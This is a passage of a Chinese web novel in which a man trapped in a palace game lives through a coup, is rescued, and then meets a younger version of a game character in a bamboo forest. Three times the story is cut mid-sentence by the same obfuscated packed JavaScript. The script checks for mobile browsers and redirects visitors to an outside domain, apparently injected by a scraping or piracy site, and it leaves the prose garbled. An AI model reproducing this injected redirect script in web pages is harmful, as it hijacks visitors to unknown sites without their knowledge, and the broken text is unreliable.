那声音莫名有些萧瑟,红衣身影渐渐远去。跟随着他的人缓步跟上,走在这长长的宫道里,仿佛没有归路。 【恭喜玩家解锁cg:风筝误 】 【恭喜玩家解锁攻略人物“夏启言”,解锁度30%,攻略度5%】 祝瑶抬眼,望向游戏界面。 游戏画面里是出来前最后的一幕,朱墙金瓦,琉璃顶下,日升起来,浮光落在地面,却显出一片寂寥。 [你接过了他的风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540530|170956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筝。] [可看着角落里略有些残破的风筝,你在想……破了还留着吗?也许应该留着它,是个不错的回忆。] 这场月末的事件就这样结束了。 祝瑶怔怔看着提醒,解锁度是指自己对人物的了解吗?他好像貌似对这个人也并不是特别的了解。 二次元的宫殿场景,几个小人聚在一起。 祝瑶看到代表“自己”的黑衣小人,似是坐在塌上拿着什么东西,身旁的粉色小人则显示着【悄悄话】。 祝瑶想了下,点击查看。 【您查看了冬枣的“悄悄话”。】 忽得,眼前再次换了个模样,隐隐约约间自己似是躺在了塌上,渐渐阖上了困倦的双目,鼻尖隐隐闻到些清淡的熏香,不浓烈,很飘逸。 祝瑶觉得,也许能在这里睡一觉,也挺好。 至少不会不知时间的流逝。 他彻底闭上了眼,想要沉浸于这种困意当中。 “殿下,你睡了吗?” “没有。” 祝瑶恍惚间应了声,却听那个有些迟疑了一会,才用近乎叹惋的声音缓缓道来关于这个人的一生。 “应当是昭化十七年吧,那年夏相高中状元,那一年还是国丈的冯尚书冯真看中了他,想把自己的小女儿嫁给他,他却拒绝了说自己早有妻子。” “可他既有了些名气,谁不知道他那个妻子……貌若无颜,且已早死,于冯国丈看来不过是推辞,他自是气恼,就此牵扯出一桩更深远的事情来,原来他的生母竟是一位妓女。” “……” 祝瑶一怔,这算是贱籍吧,也能科举吗? “按照本朝立法,贱籍三代以内不可科举。可他的这位生母早些年将他……送养了,传闻怕是卖给了他的养母,做了童养婿,成了良民。” 祝瑶真听得有些清醒了。 不是吧! 这……听起来怎么就莫名的好笑。 买个状元当女婿?太会买了,买股圣手啊! “他那养母颇善经营,待他大些时小有资产,他也顺道读书应举,不过他怕是天资聪颖,自小过目不忘,虽进学晚亦很得师长喜爱,后更得了州府长官的青睐。其间,怕也最多私底下叹息一句他那妻子。” “为何?因他那妻子生的丑?” 祝瑶低声喃喃自语。 宫女低声道:“并非……皆因容貌,他们自小一起长大,情同兄妹,自养母逝去后更是相依为命。可偏偏这个养妹性情犹为娇惯、古怪,于当地是出了名的,半点离不了他,他甚至因这个养妹硬生生错过一次应举。” “……” 祝瑶微转头。 他真的服了,这也是个爱情脑。 冬枣有些惆怅地说,“因这事,他的师长怒骂过他,说他是无可救药。谁晓得,此后竟是急转而下,他们成婚不过三年,他那做了他妻的养妹便因病而去,时人只能留下一句叹息。” “他前半生本就苦,少时母弃,青年妻死……谁知道中了状元,功名成就时,还被翻出他的生母来。” “他那生母少时颇有一番声名,待年老色衰时已委身商人妾。这本也无多大事,他那生母弃他也是无可奈何,母子相聚也无可厚非,谁知道这桩旧案被翻出来,那生母竟是投了水,连尸骨都寻不着。” “……” 这这这,注定独身吗?不过也好,这世上谁不是独行? 祝瑶干脆趴在了塌上,陷入温软的卧被里,微微的烛火中陷入有些昏睡的状态,轻轻地摇扇带来几缕凉风。 那声音依旧有些叹惋。 “当时因这身世,朝中颇有争议,他索性便辞了官,飘然离去。” “……” 什么叫做飘然离去,他怎么觉得这有点……待价而沽,不过,这种人生也够叛逆的。 直接去给王爷当谋臣,当着当着就打上京城了。 怎么也说不上是个忠臣。 祝瑶莫名想了许多,想的有些困倦,缓缓于这片浮光中陷入昏沉沉的睡意中,恍惚间只觉得扇来的风大了些。 “冬枣,不用扇了。” 他有些迷糊糊地说,身后的风似乎停了下来,却压下一片阴影。 那是身躯互相靠近,双方发丝交缠,彼此呼吸间交错……似是有些难耐,粗略的指茧略过掌心,将他包住,就这样亲密的靠近、明知道是血脉至亲,依旧停滞不了的心思,怪罪上天,怪罪自己,怪罪这命。 他近乎虔诚地伏在他身上,于那脖颈间悄悄印下一个吻,“阿瑶,原谅我。” 冬枣不禁抓紧了衣角。 可她也不能出声,她只能一直看着,从帝王的到来,先是缄默的注视,后拿过自己手中丝扇替殿下摇了起来。 皇帝就那般倾身,半站着扇,浑然不知时间的流逝。 到最后……这个近乎越界的吻。 22. 二周目 殿下整个人伏在塌上,只露出半张秀气的脸。 他向来爱洁净,每日便要梳洗。且冬日怕凉,夏日怕热,敏感地很,这热夏时节,衣衫得轻薄,不然准热的痱子来,殿内多置冰块,将这湿热散去,带来几分凉意。 可冬枣此时倒有些恨这时节了,只因皇帝的目光太吓人。 殿下,他知晓吗? 不可能不知,那般聪慧的殿下……尽管陛下藏的深,站的远,可谁看不出他的心思,那样的患得患失、焦躁不安,这位年轻的殿下总是掌控着、操控着身前这个王朝的主人的情绪。 没有人看不出他的影响力。 “殿下。” 冬枣只能心里默默祈祷,这些糟糕的事情快过去吧,千万不要影响到……前朝那些事,关乎殿下什么呢? 多为了自己想些吧。 冬枣竟有些彷徨了,她不敢猜度帝王心事,如今朝堂上的争论越发强烈,自那次的争论后陛下似乎……真的有几分想除掉奚家,可于殿下而言,这并非是好的,谁都知道不是吗?陛下想留奚家,谁都看出来他的心思。 他想护着殿下,想把奚家留给殿下,可偏偏殿下不在乎…… 这世间谁还会有谁更护着殿下,除了眼前这位陛下,还有谁? 可为何偏偏是兄弟,偏偏是这世间不容于世,受世人苛责的感情,天下注定未能有两全之事吗? 冬枣此时倒有些止住呼吸。 她越看越怕。 祝瑶此时已经半醒,任谁被人紧紧靠住,浑身热热的,呼吸打在脖颈间也是得醒的,可他只能装睡熟了。 他甚至有些无奈地想,他若真睡着了就好。 什么也不知更好。 若只是游戏,多好?偏偏他很清醒地认识到,这并非只是游戏,他还能这样含糊多久,几天几月? 他甚至觉得……不如死了。 还不如对自己坏点。 祝瑶闭眼,自暴自弃地想,所幸许是真的太累了,他真的睡着了,不知何时陷入了沉沉的睡梦中。 待清醒时,则是有些痒的触动,祝瑶睁开眼时是晃动的猫尾巴,不停摇曳,晃得他头晕晕的。 “别摇了。” 他爬起,拎着猫,认命地来到游戏界面前,快些结束吧。 不需要提醒,祝瑶自动地完成了竹子精的【浇水】【日光】,然后顺眼看了下角色卡里的数据。 赫连辉:解锁度80%;攻略度70%;亲密度0% 游戏似是他睡过去时,发了通知提醒。 "又涨了……" “赫连辉,你可真是……会自我攻略。” 祝瑶望着,叹了口气。 他明明没做什么,也能全自动数据上涨,只是亲密度是什么……到现在都还只是0。 他只能沉默,无言。 祝瑶自认为没有付出太多情感,可是对于赫连辉来说,自己又算些什么?一个少年时的执念,一个不断出现消失的鬼,一个投生于他弟弟的朋友…… 不,那从不是朋友,只是自己单方面认为的朋友。 他是个皇帝,他坐拥一切,他本可以随心所欲,可偏偏太小心翼翼,以至于让自己无奈。 简直一头乱麻。 祝瑶选择抛去这些乱七八糟的,直接打开日程安排,忽见每日的安排里,连固定的课程都消失了。 “……” 这是吵得有多夸张?这个八月可真是精彩。 祝瑶索性什么都没安排,直接点了开始行程。 结果,还真可以。 “……” 画面转向变得幽静,录下殿内的时光,日升日落,光影变幻,伴随着轻盈的乐曲,似要化在月光中。 [这个八月,你没有上课,大半个月都留在宫里修养,你略有些着了凉,好在并不严重,只是小病。] [你让宫女不许告诉其他人。] [也不知道有没有用……朝野中关于丈量土地的事情越发汹涌,可都被赫连辉强压了下去,有些不留情面地执行。他近来很少来,最近更是为了按压地方的作乱,召了不少北军在城外候着。] “这么严重了吗?” 祝瑶看着画面转变为静穆的军队,缓缓地从远处向京城而来。 [反对者的声音很大,尤其是一些地方豪族,宗族,拼尽全力的反叛,他只能召集自己最信任的北军前往各地平叛。] [朝臣颇有些微词。] [本就是与士大夫治天下,非与百姓治天下也。] 祝瑶沉默。 他在着急什么……他想到那句“韶光慢”,是怕自己老了吗? 可他不明白,自己眼底他依旧是那个倔强的少年,是那个会问自己“你是鬼魂吗?”的少年,是那个刀光下问他“一起做鬼也不错”的少年…… 时光对自己来说,也许没有任何意义。 [赫连辉不得不花费更多时间,精力,时常南巡,处理这些微词。] [他留了一道指挥宫内禁军的令牌给你。] [……近来,不太太平,朝野不太平,民间也不太平,各类事情上演,看似不甚严重,可似乎是暴风雨前的平静。] [南边生乱的几起事,似乎都被赫连辉镇压了下来,] 画面上是静默的剪影,黑白的兵马交锋,伴随着兵戈声。 刀光刺入,拔出。 骑兵渐渐远去,留下无声的人们。 祝瑶静静地看着,在这场意识流的战斗场面后,再次会转到了实景宫廷。 漫长的红色廊道,宫人们踱步而来。 [一切都在往好的方向走,反对的声音越来越小了。] [宫人倒有些安心了,没那么的害怕了。这日,你在宫里休憩,翻看着近来的话本,忽得发现了个特别的故事。] 画面再次转变,竟真是个话本。 黑白线条刻画的人物插画,配着大段竖体文字,是很容易看懂的,甚至可以翻页。 祝瑶就慢慢把这个话本故事看了,粗看是个古代南风话本,讲的是一个皇帝和他表弟的事。 “……够开放。” 祝瑶被迫看了一堆小情侣吃醋,吵闹的恩爱日常。 什么一个桃子偏要分两半吃;什么同舆同食,恩爱盛笃;什么聊着聊着,半推半就就滚作一团;什么“哥哥最好”“贤弟甚妙”的俚语随口而出……好一对妙人表兄弟,床头吵架床尾和。 不过,前面有多甜,后面就有多虐。 一个要娶妻生子,专注国家大事;一个便强硬撑着,装作沉溺情色。 你不见我,我不见你,既然变心,当断则断。 “……这这,未免也太飞速发展了。” 祝瑶没见过,前头还是两小无猜,互诉衷肠,后脚就断了联系,只当正经君臣,偏偏一次宫宴惹出另一桩事来。 这位表弟喝醉了,一怒之下把皇帝表哥的妃子睡了。 皇帝表哥知道了,那是又气又怒,又恨又怨,可只把事情压了下来。后来,这位妃子果真有了身孕。 祝瑶看到这里,已经有些不好了……这可真是对神经基友。 往下看去,更是扯淡,可冥冥之中只觉得微妙有些不对劲,强烈的预感让他认真地看下去,越看越心惊。 前面的嬉笑怒骂,恩怨纠缠,情浓清淡似乎只为了结局: [这妃子备受冷遇,孩子生了后,皇帝也看不顺眼。直到几年后表弟家中醉酒,落水而死。] [皇帝慌神,急匆匆见是尸骨,掩面而泣,好好安葬表弟后,又让人好好抚养他这个唯一血脉。] [可谁想数十年后,他死后这个非他亲生的孩子竟是登上了帝位……更是封了他仅剩的儿子为储君。] [更让人想不到,这位新皇帝竟也是喜爱自己的表弟。] 祝瑶看到尾句,心下微跳。 这个话本讲了两代帝王的八卦,狗血且重口味,很吸引人目光。 可这就差没指名道姓了。 这个荒谬、离谱的话本,是真是假都不重要,关键在于它的指示性极强,极能扰乱人心。 “!” 忽的,画面抖了好几下,人影站起,匆匆离去。 [你忽然意识到这个话本很关键,一定不会那么简单,是谁传进来的?你马上让人去查这话本从何而来。] [你觉得有些事情超出你的意料之外了,很快你的侍女回来了,有些忧心忡忡说,这话本于京城有一段日子了,私下都在传这话本里的故事说的是先帝赫连鸿同他的表弟魏连音,那位落水而死的怀王,年龄不过二十三便被先帝特意封王。] [可你深知令你不安的并非在于前半段,而是后半段……可如今朝野动荡,这个话本无疑是个试探的风向标。] [他们什么意思?] [是在质疑赫连辉帝位的正统性吗?] [没过几个时辰,忽得你的宫女冬枣急匆匆跑来,同你说:“殿下,我们快逃吧。”] “???” 祝瑶近乎专注地看向游戏界面,人物的剪影出现,对话一步步快速流动,极为的迅速。 [冬枣:"疯了,真的疯了。"] [你:“为何这么说?”] [冬枣:“殿下,我们快逃吧,陛下犹在南巡,可奚夫人似是带着不少人快要攻进了皇宫后门,她说……她说陛下并非先帝之子,陛下是鸠占雀巢,殿下你才是先帝的唯一血脉。她要陛下退位于你。”] [你:“……她带了谁来了?带了多少兵?”] [冬枣:“大都是奚家旧部,可右将军萧应叛了,似是带着另一边兵马进了城。”] 【你的宫女询问你该如何做?你该如何回答?】 【沉默】 【 】(可自填) 祝瑶立马啪啪打字,画面上再次开始走起了剧情。 [你说:“先去紫宸殿。”] [你是知道那里有个不为人知的地道的,在你做鬼时晓得的,那地道可通往宫外,这许是唯一的通道。] [虽然不知道奚家人有什么想法,可你觉得……你不能被他们抓住,这是你此刻心里第一时间浮现的想法。也许这正是他们的绝地反扑,可于真正的大势而来,他们压根不占据优势。] [赫连辉于北地经营多年,民心颇盛,更有一支为他所用的军队,统治根深蒂固。] [奚家人想利用你,让赫连辉下台,就算成功那也只是一时的胜利,你也许能靠着南边的士族登位,可也不过是他们的傀儡,加上……你本就不想当皇帝,就算要当你也绝不要受人摆布。] “……的确,当权臣的傀儡,生死由他们掌控……还不如自我了断。” 祝瑶摇摇头。 他往下看去,只见画面专向更加的昏暗,沉闷。 [你们一行人很快就离开了蓬莱阁,往紫宸殿去,你拿出赫连辉留给你的禁军令牌,诏令了一些宿卫。] [好在宫里还留下了不少禁兵,有的逃了,有些留下了。] [毕竟险中求富贵,想以此晋升的不是没有。] [奚家人带领的军队的确打了进来,可奚夫人并不在其中,你们在紫宸殿僵持了两个多时辰,天色渐渐转深,形势已然向下,你们的人还是太少了,远远不敌来的人,对方似是又跟着来了批人。] [你的宫女冬枣央求你走地道离开。] [你拒绝了。] [其实,走和不走有区别吗?] 忽得,一阵头晕目眩,祝瑶紧紧闭眼,只觉得似是要被撞倒,可被一双手扶起,微微撑住了。 耳边的杂声越发大了,只感受到了吵闹,外边的厮杀越发强烈,殿内作乱一团,所有人都在绝望。 看来他再次进入了游戏。 这破游戏,享受的日子自己是进不来的,要生死存亡了马上把自己拉进来。 祝瑶被气笑了。 也许,玩这个游戏,玩着玩着是真的心理越来越强大了。 “殿下,你快走吧,不走就来不及了。” 冬枣扶着他,略慌乱道。 祝瑶摇了摇头,也许坦然地死去……也是一个不错的结局。 “你们走吧,他们不会要我的命。” “殿下,你别骗我了,那是左将军萧应的士兵,他们愿不愿意留你的命还有的商讨呢。” 冬枣略有些气呼呼道。 祝瑶:"……" 好像还真有点骗不过。 唉,其实他只是有点累,玩这个游戏玩的累了,恍惚之间……觉得停在这里也挺好的。 殿外守卫的士兵不少带着伤跑了进来,围着宫殿的士兵越发的多了,似乎已然成了一个死局,有些宫人、兵卫干脆循着地道而去。 偌大的宫殿内,一时间只剩下伶仃几人。 冬枣急的火上三冒,“殿下,再不走真来不及了,留得青山在,不怕没柴烧。” 祝瑶摇头,“你们都走吧。” 冬枣咬牙道:“陛下……陛下还等着您呢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540531|170956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 祝瑶失笑。 其实,这是不公平吧,于他们而言,这是生死攸关,可自己呢?也许当一切都尘埃落定,却重回到了原点。 “冬枣,你知道吗?有时候我觉得这个世界特别的荒唐,当我进入这里就更荒唐了……赫连辉,赫连辉是个混蛋,他等不及了,他也不想等了,正常人只会想阻拦他,可我偏偏还有些期待,更加的火上浇油。” “以至于,到了这一刻,我依旧期待这场结局的落幕。” “我总说他是疯子,我自己何尝不是。” “你们都走吧。” 冬枣怔住,只见眼前这位殿下,有些幽幽地叹息,忽而轻笑了声,“也许,我是不死的,知道你的陛下为何对我这么好吗?” “……” “从我第一次见他,他第一次见我,想来于他也有30余年了……我们之间,停在这里也挺好的。” 祝瑶近乎喃喃自语,仿佛在说一场痴梦,呓语。 门外的兵将闯了进来。 很快,越来越多的人进来了,迎面而来的是个癫狂的将领,他身着兵甲,双目通红,浑身带血,显然杀红了眼。 祝瑶看了眼横在脖颈处的刀,依旧面无表情。 这进来的人冷笑几声,“狗皇帝竟没把你一介嬖宠带走,看来你也未必得他的真心,还比不得先帝爱之深切。” 冬枣急得眼泪掉下来。 祝瑶倒是觉得……这都是什么鬼,这有什么好说的。 懂不懂,反派死于话多。 话语刚落。 忽得,门外一箭射来,直直射入此人颈部,引起他一阵狂叫,血浆横飞,直直落在四周。 祝瑶怔住……貌似有几滴溅到了自己脸上。 他以为自己会害怕,恐怖,可偏偏什么都没有。 他偏过头。 有些理智地想,看来是死不了了。 随着马蹄声响起,有人闯了进来,犹带着几分狂妄的笑,“奚氏小儿,休得胡言。这话陛下听了,将你五马分尸,也觉不够。” 冬枣一声惊呼,“兰大人。” 祝瑶抬眼看,竟是个熟人,只见他手执弓箭,连人带马直接杀了进来,身后只跟随着几个卫士,却气势汹汹,难以招架,惊地不少兵将跑了。 来人竟是那个只要风度,不要温度的狂生——兰笙。 “殿下,你该长点心,练练骑射。” 他下了马,叹了句。 祝瑶:“……” 兰笙勿的跪地,严肃道:“微臣救驾来迟,还望殿下恕罪。” “?” 祝瑶惊愕地看了他一眼,有些很难理解这举动。 他这般狂徒也要拘泥于礼法吗? 他有些好笑,可看这人样子竟是认真的。 他还未曾来得及追问。 忽得,眼前……祝瑶怔住了,抬头看着,一片漆黑,他再次回到了游戏大厅,前方屏幕里的场景依旧在流动着,全然的记录了当时那一刻。 光与影的交错下,这个向来狂放的男人很认真地,如同效忠般低下头,他的衣衫不整,他的姿态随性……可他就这样当众跪地,道歉,承认自己的错误。 此刻仿佛命中注定。 [萧应逃了,在听闻赫连辉在带着北军回京的路上,他就望风而逃,逃的无比的快,生怕多呆一刻。] [你们一行人,渐渐安定了下来。] [兰笙依旧风流狂生姿态,连兵甲都未着,单手御马,时常带着几个禁卫就向前冲,而且他能言善道,居然劝降了不少人,身后队伍反倒更多了。】 游戏屏幕转向激昂,欢快,黑白默片的剪影渐渐明亮起来,那些陌生的面孔里也渐渐有了欢笑。 祝瑶静静地注视着,不愿意漏看每一秒。 文字依旧不断地吐露,不过略有些好笑。 [谁能想到?他并非手足无力的书生,反而是员猛将,骑射惊人,性情豪放,时常靠着冲势就力压全场。] [由于有了这支士兵,宫里渐渐平静下来。] [好消息越来越多了,小局势的叛乱慢慢被压下来了。] [三天后,赫连辉带着薛家兵马,和自己的北军杀了回来。] [据说这一路回来路上,颇不平静,死了很多很多的人。] 画面里,远方的军队越发近了。 更近了。 硝烟慢慢停歇了,乡野里的人慢慢走了出来。 所有人都知道,战争要结束了。 [赫连辉回来了,与之而来的是他将南方几个参与叛乱的大族屠了的恐怖传闻,消息传进京里时许多观望的人都觉得他这个皇帝疯了,他到底想做什么,没有这些宗族他如何治理乡里,如何治理天下。] [你当然清楚,明白……他想要什么。] [你们都心知肚明,不打压豪强士族,不真正清丈土地,是治理不好这天下的,迎合、妥协士族只能得到声名,而非他想实现的。] [他回来那天,阳光正好。] [你没什么事做,无聊中正坐在殿外一角,看宫里的侍女晒衣,忽得一声高昂,那是鼓角的吹奏,是马蹄声的震颤,玄黑的将旗从远方渐渐走近,那是将士们的欢呼。] [所有人都跑了出来,看那归来的将士。] [你依旧停留在原地,直到远处的轻骑飞速奔来,那马上人重玄兵甲附身,满身恢宏气势,藏不住凛冽肃杀。] [那是匹白马,神气十足,傲然挺立。] [那马上的人勒住了马。] [白马低下了头颅,臣服于他的主人。] [马的主人没有下马,反而向你做出了邀请。] 祝瑶忽得抬眼,阳光刺目,让人看不清他的面庞,只觉得带着少许硝烟,锋芒,有些低沉的笑意,有些畅快的笑意。 “阿瑶,我以为你会离开。” 他向自己伸出了手。 自己接吗? “……” 祝瑶微怔,那双手不给他迟疑的机会,弯下腰来将他揽住,将他一把拉起,让他坐在自己怀里,双手环住,拉紧缰绳,转而像外御马而去。 “阿瑶,陪我看看吧。” “看看他们。” 他的话语化在风里,淹没在马蹄的哒哒哒声。 远处的将士越发近了。 风吹起高处的旌旗,摇曳在空中,赤黑的旗卷起,翻腾,刺目的光照射在整片大地,仿佛迎来了彻底的新生,迎来了他们的新王。 23. 二周目 【恭喜玩家解锁主线剧情:白马之围,收获易容丹x1】 【备注:易容丹可改头换面,换作一张你选择的面孔,可一经服用,便是一生,不可复原,请谨慎使用。】 祝瑶没有细看收获的道具,只是细细的,专注的看着主线剧情的介绍,一字一句的文字正吐露。 【白马之围】 【这是皇帝这些年来最美妙的日子,事事顺心如意,少时幻景越发明晰,相识友人常伴身侧,百般踌躇百般取舍,他想他应该给予对方选择的机会。】 【仙人厌倦了俗世,回归他的天上也是应当……】 【可为何依旧不舍,明明拥有的愈多,可却越发留恋,贪念不止,不许想,不去想,暂且离去吧,许是害怕了。】 【可他曾想要放手的爱人,没有离开……这是否证明了,他爱的人依旧选择了他,依旧为他停了下来。】 【战事既已平息,骑上白马吧,去见等候他的人。】 【即便不是少年,他依旧渴望……】 画面静静地流转着,赤黑色翻转的旗帜,于空中飘扬着,白马的奔跑,似要撕出一片天地来。 时光就这样被悄悄记录。 只留在此刻。 最下方的几行小字,配着变幻的画面,一点点勾勒着画中人的心事,白马的奔速体现了主人的焦躁。 <何为近乡情怯?> <他已然知晓……他没有走,没有离开,可依旧止不住心中的跃跃欲试,回去吧,回去吧。> <去见他。> 祝瑶看着画面,静静地,不知时间的流逝,画中人,他已身处画中不是吗?近乡情怯,何曾只是他? 游戏主界面上,行程安排消失了,地图总揽也消失了。 结束了吗? 他不知道。 祝瑶伸出手,看向自己的手,是真是假,是幻梦吗?明明上一刻还是游戏里,那个归来的夜晚,他在月色下听一曲小调,等候着即将回来的人,他在静静思索着……该如何说一些话。 下一刻,他就回归到了这里。 他闭上了眼,缓缓躺了下来,只想着睡去吧,睡去吧。 也许,醒来后一切都有了答案。 他就这般无尽的虚空里陷入了沉睡,唯独游戏屏幕微光提醒着这并非孤寂,白猫从屏幕里跳了出来贴在他的怀里,悄悄地喵呜一声也闭上了眼。 再一次醒来,是被光照射的缓缓清醒了。 竹影轻摇,日光微起。 祝瑶抬眼,大屏幕的画面是如此的真实,眼前是一片竹林深海,像是角色卡鉴里“竹子精”的那片小竹林,浅浅的日光落在露水上,折射出晶莹剔透的光,透出一片宁静。 太过清晰,太过静谧,几声鸟鸣,仿佛他真的置身于此,祝瑶不禁走近了些,伸出手轻轻触摸那竹影,忽得半只手伸了出去,捏住了那竹叶。 “……?” 他捏住了竹叶。 祝瑶怔住,抬眼看眼前一片竹影,脚底莫名有些硌人,他呆呆地望着脚下,泥泞里竟是一双凉拖。 还是他最喜欢的海绵宝宝款,黄嫩嫩的。 他这是在哪里? 祝瑶忍不住抬手晃了晃,阳光下他的衬衫很白,此刻竟是他穿越游戏前的穿着,金丝边眼镜,白衬衫,西装裤,整套打工族装配,下班后都没来得及换上,只换了个拖鞋。 “……” 祝瑶喊了好几句游戏,也没得到回应,唯独摘下眼镜后,视觉里再次出现了那个游戏包裹和记录时光。 包裹里收获的各类道具都在,丹药多了一枚易容丹。 至于记录时光,这游戏还真是从来不忘拍照。 忽得一声鸟鸣,引起更多的鸣叫,回旋在这片竹林里。 祝瑶有些认命地重新戴好眼镜,穿着他的海绵宝宝拖鞋,往前走着路,山间的小路有些泥泞,似乎是春季,有些雨水,竹林间的春笋发的有些多,一路跌跌撞撞,不知走了多久,才走出了这片林子。 祝瑶累的干脆歇了下,找了块石头做了会,只觉口渴,他望向不远处的小溪流,转而看了看双脚,有些通红的刺痕,有些泥巴沾着。 海绵宝宝的拖鞋更是泥巴沾满,看起来又脏又旧。 祝瑶:“……” 他记得没穿游戏前,这双拖鞋才穿不到一周。 他认命地往前走,踉跄地走,坐在溪边的石头上,洗了洗拖鞋和脚,袖口处的白衬衫也是脏的很。 祝瑶干脆脱了衬衫,放溪水里荡了荡,清洗了不少时间,拧干晾在石头上,自己则躺在石头上眯了会,这阳光晒得还挺舒服的,暖暖的。 “兄台,醒醒。” “兄台,此处不适合……入睡,你若是累了,可来我家中小憩片刻。” 那是个清朗的声音,似有些无奈,朦胧之中有什么东西盖在了自己身上。 祝瑶睁开眼,却吓了一跳,他抓着身上盖的外衫,怔怔看着眼前人,这真是个熟悉的面孔,年轻、俊朗,可未曾经历过多风雨,坦荡随性,不像,半分不像那个见过的人。 祝瑶只觉荒唐,不由得轻轻问了句,“你是……” “兄台,问他人姓氏,不先说说自己吗?” 那着简朴白衫的青年有些笑了笑,将他快掉进水里的衣服捞起。 “你的衣物。” 他递了过来。 祝瑶只觉恍惚,这人年轻时会笑吗?他见他第一眼时他不就是那种克制端方的姿态,温和体面的好像个假人,没有什么脾气,性格。 “我没有名字。” 祝瑶突然说,接过衣服。 青年微怔,低低笑了声,“兄台无名无姓么?也好,我也无名无姓,微薄之人,不足挂齿。” “兄台,相见便是缘分,不如来我家喝喝水吧。” 他开口道。 他有一张端朗的面孔,双眸有神,看起来很真诚,友好。 祝瑶看他,越看……越惊异,只是他埋在了心里,此时他应当已经20多岁了吧,他此时不是丧妻丧母,他会是这样的性格吗?他会是在这种偏僻地处隐居吗? “好。” 祝瑶应了声。 他看向手中外衫,应当是他的吧,补了句,“谢谢。” 青年笑了笑,遂背着竹篓,步履稳健,缓步往前走去,替他带着路,一路上稍稍闲谈了几句。 “兄台从何处来,这地方偏的很,少有人居,也不是很安全,林中偶有毒蛇,还是得多加小心。” “哦。” 祝瑶冷漠地附和几声。 他自己都不知道……怎么来的,何况来还不就是眼前的人的缘故。 他太懂游戏了。 见他语气敷衍,青年叹了口气,也不说了,只是往前带着路。 那是个山坡上的小房子,不像之前的人物图鉴里的屋子,靠近河畔,也并非茅屋,而是修的白墙灰瓦,周边扎了篱笆,开垦了几块小菜地,种了些菜。 看不出有其他人生活的痕迹。 祝瑶遂问,“你一人独自住这里?你妻子和儿女呢?” 青年怔了下,有些好笑,“兄台,在下未曾娶妻,自然也无子女,不过一人,独处天地。” “……不像。” 祝瑶难得嘴了句,你都为了你养妹都不科举了。 不就是古代的恋爱脑。 青年忽得叹了句,“怎么会不像,虽说……我有几个朋友都说我是贪于美色,难以忘怀,以至于如斯年龄,依旧独身一人,难享天伦之乐。” “你贪图美色……” 祝瑶略惊。 你不是娶了个丑女,也许是为了恩情,可也不至于半点不喜欢,全都是报恩,他觉得不像。 “是吧,兄台也觉得我不是这般人吧。在下也这般觉得……只是,谁让我见过这天下生的最美的人。” “他们……也只能如此看我。” 青年有些笑意,微微叹惋。 祝瑶听得有点轻微不适应,这人年轻时候话怎么这般多,怪奇怪的,等走到这人的屋里,青年拿了把竹椅,让他能够坐下来休憩,又倒了些茶水。 祝瑶喝了几口。 他看向自己脚下……格格不入的拖鞋,以及屋外那件自己晾起来的衬衫,有些淡淡的想,他不觉得自己奇怪吗?就这样把自己带回他的家喝水。 祝瑶看着屋内收拾的干净,利落,多是竹木打造,角落里的书柜上则摆着几本书,墙上挂着一副石榴图。 简而言之,穷穷的。 他怔怔想,是真觉得挺奇怪的,他这个年岁不是在北地吗?祝瑶记得自己见他的第一眼,这人同太监应酬,行事干练,同赫连辉这个皇子交谈也是不露深色,很难让人察觉他的心思。 是自己记忆模糊了吗? 祝瑶低头取下自己的眼镜。 忽得,一只手递来了一张丝帕,“兄台用这个吧。” 祝瑶微怔,接过了。 他低头,缓缓擦着镜片,忽得问了句话,“你这个年岁,不娶妻生子,不出仕为官,在此结庐而居,为何?” 青年低低笑叹。 “兄台说笑了,在下不过识得几个字,能画几笔画……平日里也就靠友人偶尔接济,卖几笔画生活。” “出仕为官,在下哪有那般本事!就算有,在下……贱籍出身,科举应试的第一步,都踏不进。” “……” 祝瑶擦镜片的手微顿,低低问了句,“当今,是何时何日?你……还姓夏吗?” “兄台果真认识我。” 青年微微笑叹。 祝瑶看了眼前方,视线模糊,可依稀能看清游戏界面的【游戏背包】和【时光记录】,以及出现的时间倒计时。 【09:59】 【09:58】 【09:57】 …… 祝瑶打开了背包,点了易容丹试试,忽得宽大外衫袖口中,自己手里似是攒着一个小盒子。 他怔住。 这是否意味着……这不止是只有他能使用。 青年微微叹道:“当今……是熙平五年四月初四,兄台从何地来?在下姓夏,名言,字抱石。” “兄台是何时何地见的我?” “……” 熙平……熙平,他记忆里用熙平年号的,只有一个。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540532|170956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 祝瑶忽得站了起来,是没穿游戏前,那无数次的开局出生即死里……所谓的熙平一年,死亡。 “兄台不愿说,也好。” “萍水相逢,亦是缘分,何必计较这些,兄台有去处吗?若不嫌弃,可在我家中小住几天,无妨。” “……当今皇帝……是叫赫连辉吗?” 声音有些断续,沉闷。 